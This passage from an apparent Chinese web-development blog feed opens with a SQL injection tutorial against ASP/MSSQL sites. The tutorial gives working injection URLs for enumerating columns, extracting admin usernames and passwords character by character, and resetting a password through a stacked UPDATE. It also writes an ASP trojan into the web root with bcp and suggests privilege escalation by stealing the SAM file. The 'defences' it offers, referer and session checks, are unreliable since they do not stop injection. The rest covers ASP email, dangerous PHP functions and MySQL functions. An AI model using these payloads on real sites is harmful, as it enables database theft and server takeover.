<p>　　c 猜解用户名字段及密码字段名称</p>
<p>　　admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。</p>
<p>　　猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用：password,pass,pwd,passwd等。并通过语句进行判断</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select count(字段名) from TestDB.dbo.admin)&gt;0 &ldquo;select count(字段名) from 表名&rdquo;</p>
<p>　　语句得到表的行数，所以若字段名存在，则news.asp工作正常，否则异常。如此循环，直到猜到两个字段的名称。</p>
<p>　　读取法：基本的实现方法是</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)&gt;0 。<br />
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然news.asp工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6&hellip;就可得到所有的字段名称。</p>
<p>　　d 猜解用户名与密码</p>
<p>　　猜用户名与密码的内容最常用也是最有效的方法有：</p>
<p>　　ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密码的方法相同，以下以猜用户名为例说明其过程。</p>
<p><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2，3,4，5，&hellip; n，username</p>
<p>　　为用户名字段的名称，admin为表的名称)，若x为某一值i且news.asp运行正常时，则i就是第一个用户名的长度。如：当输入<br />
<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 len(username) from TestDB.dbo.admin)=8时news.asp运行正常，则第一个用户名的长度为8</p>
<p>　　<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，&hellip;时猜测分别猜测第1,2,3,&hellip;位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且news.asp运行正常时，则i对应ASCII码就是用户名某一位值。如：当输入<br />
<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时news.asp运行正常，则用户名的第三位为P(P的ASCII为80)；<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时news.asp运行正常，则用户名的第9位为!(!的ASCII为80)；猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经MD5等方式加密后的信息，还需要用专用工具进行脱密。或者先改其密码，使用完后再改回来，见下面说明。简单法：猜用户名用<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 flag from TestDB.dbo.admin where username&gt;1) , flag是admin表中的一个字段，username是用户名字段，此时news.asp工作异常，但能得到Username的值。与上同样的方法，可以得到第二用户名，第三个用户等等，直到表中的所有用户名。</p>
<p>　　猜用户密码：<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 flag from TestDB.dbo.admin where pwd&gt;1) , flag是admin表中的一个字段，pwd是密码字段，此时news.asp工作异常，但能得到pwd的值。与上同样的方法，可以得到第二用户名的密码，第三个用户的密码等等，直到表中的所有用户的密码。密码有时是经MD5加密的，可以改密码。</p>
<p>　　<a href="http://www.163.com/news.asp?id=xx;update">HTTP://www.163.com/news.asp?id=xx;update</a> TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值为：AAABBBCCCDDDEEEF，即把密码改成1；www为已知的用户名)用同样的方法当然可把密码改原来的值。</p>
<p>　　2、利用表内容导成文件功能</p>
<p>　　SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。</p>
<p>　　命令行格式如下：</p>
<p>bcp &quot;select * from text..foo&quot; queryout c:\inetpub\wwwroot\163.asp &ndash;c &ndash;S localhost &ndash;U sa &ndash;P foobar <br />
　　('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个163.asp的木马)</p>
<p>　　3、利用工具，如NBSI给出的一些参考数据最重要的表名：</p>
<p>select * from sysobjects<br />
sysobjects ncsysobjects<br />
sysindexes tsysindexes<br />
syscolumns<br />
systypes<br />
sysusers<br />
sysdatabases<br />
sysxlogins<br />
sysprocesses</p>
<p>　　最重要的一些用户名（默认sql数据库中存在着的）</p>
<p>public<br />
dbo<br />
guest(一般禁止，或者没权限)<br />
db_sercurityadmin<br />
ab_dlladmin<br />
一些默认扩展<br />
xp_regaddmultistring <br />
xp_regdeletekey <br />
xp_regdeletevalue <br />
xp_regenumkeys <br />
xp_regenumvalues <br />
xp_regread <br />
xp_regremovemultistring <br />
xp_regwrite<br />
xp_availablemedia 驱动器相关<br />
xp_dirtree 目录<br />
xp_enumdsn ODBC连接<br />
xp_loginconfig 服务器安全模式信息<br />
xp_makecab 创建压缩卷<br />
xp_ntsec_enumdomains domain信息<br />
xp_terminate_process 终端进程，给出一个PID</p>
<p>　　(三)、得到系统的管理员权限</p>
<p>　　ASP木马只有USER权限，要想获取对系统的完全控制，还要有系统的管理员权限。怎么办？提升权限的方法有很多种：</p>
<p>　　上传木马，修改开机自动运行的.ini文件(它一重启，便死定了)；</p>
<p>　　复制CMD.exe到scripts，人为制造UNICODE漏洞；</p>
<p>　　下载SAM文件，破解并获取OS的所有用户名密码；</p>
<p>　　等等，视系统的具体情况而定，可以采取不同的方法。</p>
<p>　　那么我们怎么防注入呢？程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如 top.asp文件中开头</p>
<p>　　方法一：</p>
<p>&lt;%if session(&quot;username&quot;=&quot;&quot; or session(&quot;userkey&quot;=&quot;&quot; then<br />
response.redirect &quot;../../&quot;<br />
end if%&gt;</p>
<p>　　(说明：只要有用户注入则跳转到../../目录，呵呵，看你怎么给我注入)</p>
<p>　　方法二：</p>
<p>&lt;%<br />
server_v1=Cstr(Request.ServerVariables(&quot;HTTP_REFERER&quot;)<br />
server_v2=Cstr(Request.ServerVariables(&quot;SERVER_NAME&quot;)<br />
if mid(server_v1,8,len(server_v2))&lt;&gt;server_v2 then<br />
response.write &quot;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450&gt;&quot;<br />
response.write &quot;&lt;tr&gt;&lt;td style=&ldquo;font:9pt Verdana&quot;&gt;&quot;<br />
response.write &quot;你提交的路径有误，禁止从站点外部提交数据请不要乱该参数！&quot;<br />
response.write &quot;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&quot;<br />
response.end<br />
end if<br />
%&gt;</p>
<p>　　(说明：只要有用户注入则判断为外部连接哦，呵呵，看你怎么给我注入)</p>
<p>　　方法三：</p>
<p>&lt;% dim From_url,Serv_url<br />
From_url = Cstr(Request.ServerVariables(&quot;HTTP_REFERER&quot;)<br />
Serv_url = Cstr(Request.ServerVariables(&quot;SERVER_NAME&quot;)<br />
if mid(From_url,8,len(Serv_url)) &lt;&gt; Serv_url then<br />
response.write &quot;NO&quot;<br />
response.redirect(&quot;../&quot;<br />
response.end<br />
end if%&gt;</p>
<p>　　(说明：只要有用户注入则跳转到../(这个可以改为其它网站，或其它页面，给它们一点小的警告也行哦)目录，呵呵，看你怎么给我注入)</p>
<p>　　黑客与安全是紧密的&hellip;&hellip;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=195</link>
			<title><![CDATA[ASP留言簿自动发E-Mail]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Tue,04 May 2010 17:12:53 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=195</guid>
		<description><![CDATA[<p>&nbsp;&nbsp; ASP本身没有发送邮件的能力，但是如果你希望用ASP来发送E-MAIL（例如：你有一个消息，只想让那些在你的留言薄上留了言的上网者们知道，你希望上网者在你的留言薄上填写完成后，你的留言簿便自动将该消息E-MAIL给留言的上网者），那么你需要安装一个ASP组件。并借助这些组件来帮你实现邮件的自动发送、回复等工作。</p>
<p><br />
　　如果你的ASP及WEB数据库的运行平台是IIS4（Internet Information Server 4.0），你可以使用CDONTS.DLL。如果你已经缺省安装过NT 4.0 Option Pack，CDONTS.DLL便存放在你机器的C:\Winnt\System32\目录下面。有了该组件我们还不能立即应用它，在对它进行应用之前我们必须先完成组件的注册，那么怎样才能对CDONTS.DLL进行注册呢？我们可以在MS-DOS方式下进入到CDONTS.DLL所在的目录C:\Winnt\System32\下输入：<br />
　　c:\winnt\system32&gt;regsvr32 cdonts.dll<br />
（如果我们想将其御载可用指令： c:\winnt\system32&gt;regsvr32/u cdonts.dll)</p>
<p><br />
　　在完成了组件的注册后，现在我们可以开始来解说如何对该组件的使用。我们可以用下面简单的脚本来给留言簿的添加自动发E-MAIL的功能。</p>
<p>&lt; %<br />
Dim MailObject<br />
Dim Email<br />
Email = Request.form(&quot;Email&quot;)<br />
Set MailObject = Server.CreateObject(&quot;CDONTS.NewMail&quot;)<br />
Set myMail = Server.CreateObject(&quot;CDONTS.NewMail&quot;)<br />
myMail.Subject = &quot;欢迎您下次再来&quot;<br />
MailObject.Send &quot;你本人的E-MAIL&quot;, Email ,&quot;欢迎您下次再来给我们留言。&quot; myMail.Send<br />
Set myMail=Nothing<br />
%&gt;<br />
　　将上述的代码COPY到manage2.asp 去，一个简单的通过ASP来发送E-MAIL的留言簿就实现了。也许你并不会满意这种发E-MAIL的方式，理由很简单：因为为了答谢你的网友对你的支持，你昨晚熬夜足足写了几千字（也许是我说少了）的感激话语，今早一大早起来才发现原来上述的留言簿竟然未具备发附件的功能，瞧，这有多气人的。还好，原来CDONTS.DLL也可以用来发送附件，事不宜迟，我们立即就将其奉献出来。&lt; %<br />
Dim MailObject<br />
Dim Email Email = Request(&quot;Email&quot;)<br />
Set MailObject = Server.CreateObject(&quot;CDONTS.NewMail&quot;)<br />
att_file=&quot;D:\cwj\GO-asp\guestbook5\email.txt&quot;<br />
f_name=&quot;email.txt&quot;<br />
MailObject.From=&quot;你本人的E-MAIL&quot;<br />
MailObject.To = Email<br />
MailObject.Subject=&quot;感谢您对我们工作的支持&quot;<br />
MailObject.Body=&quot;感谢您对我们工作的支持&quot;<br />
MailObject.AttachFile att_file,f_name<br />
MailObject.Send<br />
%&gt;</p>
<p><br />
　　只需将上述的代码COPY下来用以取代第一个实例，我们的留言簿便能实现自动发附件功能。在这里值得我们注意的是：att_file=&quot;D:\cwj\GO-asp\guestbook5\email.txt&quot;<br />
必须是我们放附件的绝对路径。其实除了CDONTS.DLL 组件外，有许多由第三方厂商开发的组件你也可以使用。例如据说连Intel公司也在用的ASPmail组件和似乎很受欢迎的w3 Jmail等等组件。能受到大家的欢迎，个中原由自是不言而宣的，我们可以直接从以下地方去下载它们。<br />
ASPmail组件的下载地址：<a href="http://www.flicks.com/ASPMail/intro.htm">http://www.flicks.com/ASPMail/intro.htm</a><br />
Jmail组件的下载地址：<a href="http://download.dimac.net/jmail/jmail.exe">http://download.dimac.net/jmail/jmail.exe</a></p>
<p>　　说实际的，我的第一个用ASP来发送E-MAIL的留言簿所用的组件就是ASPmail组件（自然是因为听说连Intel公司也在使用它的缘故）。既然使用过了，自然对其会有所了解，我想在这里也不妨对ASPmail组件的使用作下简单的介绍。</p>
<p><br />
　　应用ASPmail组件的方法其实也很简单，首先我们得先对该组件进行安装，安装完毕后在ASPmail的安装目录下面会附有Sample实例，我们只要对照着这些例子，再稍加改动即可。我在这里提供了一个实例给大家，并单独将使用该组件时所涉及到的所有其它文件一并放在ASPmail目录下面，大家可以从下载区下载后再细作研究，我在这里只稍作一下简单的说明。<br />
　　首先，我们在manage2.asp中输入&lt;!--#include file=&quot;ASPmail/sendmail2.asp&quot; --&gt;并另存成manage3.asp，而具体sendmail2.asp的脚本如下所示：<br />
&lt; %<br />
Set mailer = Server.CreateObject(&quot;ASPMAIL.ASPMailCtrl.1&quot;)<br />
%&gt;<br />
&lt; %<br />
name = Request.form(&quot;name&quot;)<br />
email = Request.form(&quot;email&quot;)<br />
subject = &quot;欢迎您下次再来&quot;<br />
memo = &quot;欢迎您下次再来留言！&quot;<br />
mailserver = &quot;smtp.21cn.com&quot;<br />
result = mailer.SendMail(mailserver, name, email, subject, memo)<br />
%&gt;<br />
　　这里值得大家注意的是：mailserver = &quot;smtp.21cn.com&quot; 中填写的是SMTP服务器，我在这里用了21世纪的SMTP的邮件服务器来作例子，当然你也可以用其它地方的或你自己的（真是羡慕煞人了），就是有一点非常重要，你必须填写正确，而且确信它们确实是开通了该服务。至于我最后为什么又放弃了使用该组件，大家用过之后很可能如我者也不会在少数，原因很简单：就因为该免费的组件会在你所发送的每一封信的下面讨厌地放上几句催你赶快去购买它的注册版的文字。</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=192</link>
			<title><![CDATA[PHP中的危险函数全解析]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Mon,03 May 2010 15:06:49 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=192</guid>
		<description><![CDATA[<p>在编译 PHP 时，如无特殊需要，一定禁止编译生成 CLI 命令行模式的 PHP 解析支持。可在编译时使用 &ndash;disable-CLI。一旦编译生成 CLI 模式的PHP，则可能会被入侵者利用该程序建立一个WEB Shell 后门进程或通过PHP 执行任意代码。</p>
<p>phpinfo()</p>
<p>功能描述：输出 PHP 环境信息以及相关的模块、WEB 环境等信息。</p>
<p>危险等级：中</p>
<p>passthru()</p>
<p>功能描述：允许执行一个外部程序并回显输出，类似于 exec()。</p>
<p>危险等级：高</p>
<p>exec()</p>
<p>功能描述：允许执行一个外部程序（如 UNIX Shell 或 CMD 命令等）。</p>
<p>危险等级：高</p>
<p>system()</p>
<p>功能描述：允许执行一个外部程序并回显输出，类似于 passthru()。</p>
<p>危险等级：高</p>
<p>chroot()</p>
<p>功能描述：可改变当前 PHP 进程的工作根目录，仅当系统支持 CLI 模式PHP 时才能工作，且该函数不适用于 Windows 系统。</p>
<p>危险等级：高</p>
<p>scandir()</p>
<p>功能描述：列出指定路径中的文件和目录。</p>
<p>危险等级：中</p>
<p>chgrp()</p>
<p>功能描述：改变文件或目录所属的用户组。</p>
<p>危险等级：高</p>
<p>chown()</p>
<p>功能描述：改变文件或目录的所有者。</p>
<p>危险等级：高</p>
<p>shell_exec()</p>
<p>功能描述：通过 Shell 执行命令，并将执行结果作为字符串返回。</p>
<p>危险等级：高</p>
<p>proc_open()</p>
<p>功能描述：执行一个命令并打开文件指针用于读取以及写入。</p>
<p>危险等级：高</p>
<p>proc_get_status()</p>
<p>功能描述：获取使用 proc_open() 所打开进程的信息。</p>
<p>危险等级：高</p>
<p>error_log()</p>
<p>功能描述：将错误信息发送到指定位置（文件）。</p>
<p>安全备注：在某些版本的 PHP 中，可使用 error_log() 绕过 PHP safe mode，<br />
执行任意命令。</p>
<p>危险等级：低</p>
<p>ini_alter()</p>
<p>功能描述：是 ini_set() 函数的一个别名函数，功能与 ini_set() 相同。具体参见 ini_set()。</p>
<p>危险等级：高</p>
<p>ini_set()</p>
<p>功能描述：可用于修改、设置 PHP 环境配置参数。</p>
<p>危险等级：高</p>
<p>ini_restore()</p>
<p>功能描述：可用于恢复 PHP 环境配置参数到其初始值。</p>
<p>危险等级：高</p>
<p>dl()</p>
<p>功能描述：在 PHP 进行运行过程当中（而非启动时）加载一个 PHP 外部模块。</p>
<p>危险等级：高</p>
<p>pfsockopen()</p>
<p>功能描述：建立一个 Internet 或 UNIX 域的 socket 持久连接。</p>
<p>危险等级：高</p>
<p>syslog()</p>
<p>功能描述：可调用 UNIX 系统的系统层 syslog() 函数。</p>
<p>危险等级：中</p>
<p>readlink()</p>
<p>功能描述：返回符号连接指向的目标文件内容。</p>
<p>危险等级：中</p>
<p>symlink()</p>
<p>功能描述：在 UNIX 系统中建立一个符号链接。</p>
<p>危险等级：高</p>
<p>popen()</p>
<p>功能描述：可通过 popen() 的参数传递一条命令，并对 popen() 所打开的文件进行执行。</p>
<p>危险等级：高</p>
<p>stream_socket_server()</p>
<p>功能描述：建立一个 Internet 或 UNIX 服务器连接。</p>
<p>危险等级：中</p>
<p>putenv()</p>
<p>功能描述：用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中，可利用该函数修改系统字符集环境后，利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。</p>
<p>危险等级：高</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=191</link>
			<title><![CDATA[PHP中的常用的25个MYSQL函数]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Mon,03 May 2010 15:03:49 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=191</guid>
		<description><![CDATA[<p>1、mysql_connect()-建立数据库连接<br />
格式：<br />
resource mysql_connect([string hostname [:port] [:/path/to/socket] [, string username] [, string password]])<br />
例：<br />
$conn = @mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;) or dir(&rdquo;不能连接到Mysql Server&rdquo;);<br />
说明：使用该连接必须显示的关闭连接</p>
<p>2、mysql_pconnect()-建立数据库连接<br />
格式：<br />
resource mysql_pconnect([string hostname [:port] [:/path/to/socket] [, string username] [, string password]])<br />
例：<br />
$conn = @mysql_pconnect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;) or dir(&rdquo;不能连接到Mysql Server&rdquo;);<br />
说明：使用该连接函数不需要显示的关闭连接，它相当于使用了连接池</p>
<p>3、mysql_close()-关闭数据库连接<br />
例：<br />
$conn = @mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;) or die(&rdquo;不能连接到Mysql Server&rdquo;);<br />
@mysql_select_db(&rdquo;MyDatabase&rdquo;) or die(&rdquo;不能选择这个数据库，或数据库不存在&rdquo;);<br />
echo &ldquo;你已经连接到MyDatabase数据库&rdquo;;<br />
mysql_close();</p>
<p>4、mysql_select_db()-选择数据库<br />
格式：<br />
boolean mysql_select_db(string db_name [, resource link_id])<br />
例：<br />
$conn = @mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;) or die(&rdquo;不能连接到Mysql Server&rdquo;);<br />
@mysql_select_db(&rdquo;MyDatabase&rdquo;) or die(&rdquo;不能选择这个数据库，或数据库不存在&rdquo;);</p>
<p>5、mysql_query()-查询MySQL<br />
格式：<br />
resource mysql_query (string query, [resource link_id])<br />
例：<br />
$linkId = @mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;) or die(&rdquo;不能连接到Mysql Server&rdquo;);<br />
@mysql_select_db(&rdquo;MyDatabase&rdquo;) or die(&rdquo;不能选择这个数据库，或者数据库不存在&rdquo;);<br />
$query = &ldquo;select * from MyTable&rdquo;;<br />
$result = mysql_query($query);<br />
mysql_close();<br />
说明：若SQL查询执行成功，则返回资源标识符，失败时返回FALSE。若执行更新成功，则返回TRUE，否则返回FALSE</p>
<p>6、mysql_db_query()-查询MySQL<br />
格式：<br />
resource mysql_db_query(string database, string query [, resource link_id])<br />
例：<br />
$linkId = @mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;) or die(&rdquo;不能连接到MysqlServer&rdquo;);<br />
$query = &ldquo;select * from MyTable&rdquo;;<br />
$result = mysql_db_query(&rdquo;MyDatabase&rdquo;, $query);<br />
mysql_close();<br />
说明：为了使代码清晰，不推荐使用这个函数调用</p>
<p>7、mysql_result()-获取和显示数据<br />
格式：<br />
mixed mysql_result (resource result_set, int row [, mixed field])<br />
例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
for($count=0;$count&lt;=mysql_numrows($result);$count++)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $c_id = mysql_result($result, 0, &ldquo;id&rdquo;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $c_name = mysql_result($result, 0, &ldquo;name&rdquo;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo $c_id,$c_name;<br />
}<br />
说明：最简单、也是效率最低的数据获取函数</p>
<p>8、mysql_fetch_row()-获取和显示数据<br />
格式：<br />
array mysql_fetch_row (resource result_set)<br />
例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
while (list($id, $name) = mysql_fetch_row($result)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo(&rdquo;Name: $name ($id) &lt;br /&gt;&rdquo;);<br />
}<br />
说明：函数从result_set中获取整个数据行，将值放在一个索引数组中。通常会结使list()函数使用</p>
<p>9、mysql_fetch_array()-获取和显示数据<br />
格式：<br />
array mysql_fetch_array (resource result_set [, int result_type])<br />
例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
while($row = mysql_fetch_array($result, MYSQL_ASSOC)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $id = $row[&quot;id&quot;];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $name = $row[&quot;name&quot;];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &ldquo;Name: $name ($id) &lt;br /&gt;&rdquo;;<br />
}<br />
又例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
while($row = mysql_fetch_array($result, MYSQL_NUM)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $id = $row[0];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $name = $row[1];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &ldquo;Name: $name ($id) &lt;br /&gt;&rdquo;;<br />
}<br />
说明：<br />
result_type的值有：<br />
MYSQL_ASSOC: 字段名表示键，字段内容为值<br />
MYSQL_NUM: 数值索引数组，操作与mysql_fetch_ros()函数一样<br />
MYSQL_BOTH: 即作为关联数组又作为数值索引数组返回。result_type的默认值。</p>
<p>10、mysql_fetch_assoc()-获取和显示数据<br />
格式：<br />
array mysql_fetch_assoc (resource result_set)<br />
相当于调用 mysql_fetch_array(resource, MYSQL_ASSOC);</p>
<p>11、mysql_fetch_object()-获取和显示数据<br />
格式：<br />
object mysql_fetch_object(resource result_set)<br />
例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
while ($row = mysql_fetch_object($result)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $id = $row-&gt;id;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $name = $row-&gt;name;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &ldquo;Name: $name ($id) &lt;br /&gt;&rdquo;;<br />
}<br />
说明：返回一个对象，在操作上与mysql_fetch_array()相同</p>
<p>12、mysql_num_rows()-所选择的记录的个数<br />
格式：<br />
int mysql_num_rows(resource result_set)<br />
例：<br />
query = &ldquo;select id, name from MyTable where id &gt; 65&Prime;;<br />
$result = mysql_query($query);<br />
echo &ldquo;有&rdquo;.mysql_num_rows($result).&rdquo;条记录的ID大于65&Prime;;<br />
说明：只在确定select查询所获取的记录数时才有用。</p>
<p>13、mysql_affected_rows()－受Insert,update,delete影响的记录的个数<br />
格式：<br />
int mysql_affected_rows([resource link_id])<br />
例：<br />
$query = &ldquo;update MyTable set name=&rsquo;CheneyFu&rsquo; where id&gt;=5&Prime;;<br />
$result = mysql_query($query);<br />
echo &ldquo;ID大于等于5的名称被更新了的记录数：&rdquo;.mysql_affected_rows();<br />
说明：该函数获取受Insert,Update或Delete更新语句影响的行数<br />
<a href="http://www.knowsky.com/php.asp">http://www.knowsky.com/php.asp</a><br />
14、mysql_list_dbs()-获取数据库列表信息<br />
格式：<br />
resource mysql_list_dbs([resource link_id])<br />
例：<br />
mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;);<br />
$dbs = mysql_list_dbs();<br />
echo &ldquo;Databases: &lt;br /&gt;&rdquo;;<br />
while (list($db) = mysql_fetch_rows($dbs)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &ldquo;$db &lt;br /&gt;&rdquo;;<br />
}<br />
说明：显示所有数据库名称</p>
<p>15、mysql_db_name()-获取数据库名<br />
格式：<br />
string mysql_db_name(resource result_set, integer index)<br />
说明：该函数获取在mysql_list_dbs()所返回result_set中位于指定index索引的数据库名</p>
<p>16、mysql_list_tables()-获取数据库表列表<br />
格式：<br />
resource mysql_list_tables(string database [, resource link_id])<br />
例：<br />
mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;);<br />
$tables = mysql_list_tables(&rdquo;MyDatabase&rdquo;);<br />
while (list($table) = mysql_fetch_row($tables)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &ldquo;$table &lt;br /&gt;&rdquo;;<br />
}<br />
说明：该函数获取database中所有表的表名</p>
<p>17、mysql_tablename()-获取某个数据库表名<br />
格式：<br />
string mysql_tablename(resource result_set, integer index)<br />
例：<br />
mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;);<br />
$tables = mysql_list_tables(&rdquo;MyDatabase&rdquo;);<br />
$count = -1;<br />
while (++$count &lt; mysql_numrows($tables)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo mysql_tablename($tables, $count).&rdquo;&lt;br /&gt;&rdquo;;<br />
}<br />
说明：该函数获取mysql_list_tables()所返回result_set中位于指定index索引的表名</p>
<p>18、mysql_fetch_field()-获取字段信息<br />
格式：<br />
object mysql_fetch_field(resource result [, int field_offset])<br />
例：<br />
mysql_connect(&rdquo;localhost&rdquo;, &ldquo;username&rdquo;, &ldquo;password&rdquo;);<br />
mysql_select_db(&rdquo;MyDatabase&rdquo;);<br />
$query = &ldquo;select * from MyTable&rdquo;;<br />
$result = mysql_query($query);<br />
$counts = mysql_num_fields($result);<br />
for($count = 0; $count &lt; $counts; $count++) {<br />
&nbsp;&nbsp; $field = mysql_fetch_field($result, $count);<br />
&nbsp;&nbsp; echo &ldquo;&lt;p&gt;$field-&gt;name $field-&gt;type ($field-&gt;max_length) &lt;/p&gt;&rdquo;;<br />
}<br />
说明：<br />
返回的对象共有12个对象属性：<br />
name: 字段名<br />
table: 字段所在的表<br />
max_length: 字段的最大长度<br />
not_null: 如果字段不能为null，则为1，否则0<br />
primary_key: 如果字段为主键，则为1，否则0<br />
unique_key: 如果字段是唯一键，则为1， 否则0<br />
multiple_key: 如果字段为非唯一，则为1，否则0<br />
numeric: 如果字段为数值则为1，否则0<br />
blob: 如果字段为BLOB则为1，否则为0<br />
type: 字段的数据类型<br />
unsigned: 如果字段为无符号数则为1，否则为0<br />
zerofill: 如果字段为&ldquo;零填充&rdquo;则为1， 否则为0</p>
<p>19、mysql_num_fields()-获取查询的字段个数<br />
格式：<br />
integer mysql_num_fields (resource result_set)<br />
例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
echo &ldquo;这个查询的字段数是：&rdquo;.mysql_num_fields($result).&rdquo;&lt;br /&gt;&rdquo;;</p>
<p>20、mysql_list_fields()-获取指定表的所有字段的字段名<br />
格式：<br />
resource mysql_list_fields (string database_name, string table_name [, resource link_id])<br />
例：<br />
$fields = mysql_list_fields(&rdquo;MyDatabase&rdquo;, &ldquo;MyTable&rdquo;);<br />
echo &ldquo;数据库MyDatabase中表MyTable的字段数： &ldquo;.mysql_num_fields($fields).&rdquo;&lt;br /&gt;&rdquo;;</p>
<p>21、mysql_field_flags()-获取指定的字段选项<br />
格式：<br />
string mysql_field_flags (resource result_set, integer field_offset)<br />
例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
$row=mysql_fetch_wor($row);</p>
<p>22、mysql_field_len()-获取指定的字段的最大长度<br />
格式：<br />
integer mysql_field_len (resource result_set, integer field_offset)<br />
例：<br />
$query = &ldquo;select name from MyTable&rdquo;;<br />
$result = mysql_query($query);<br />
$row = mysql_fetch_row($result);<br />
echo mysql_field_len($result, 0).&rdquo;&lt;br /&gt;&rdquo;;<br />
说明：<br />
如果mysql_field_len($reseult, 0) = 16777215<br />
那么numer_format(mysql_field_len($result))等于16,777,215</p>
<p>23、mysql_field_name()-获取字段名<br />
格式：<br />
string mysql_field_name (resource result_set, int field_offset)<br />
例：<br />
$query = &ldquo;select id as PKID, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
$row = mysql_fetch_row($result);<br />
echo mysql_field_name($result, 0); // Result: PKID</p>
<p>24、mysql_field_type()-获取字段类型<br />
格式：<br />
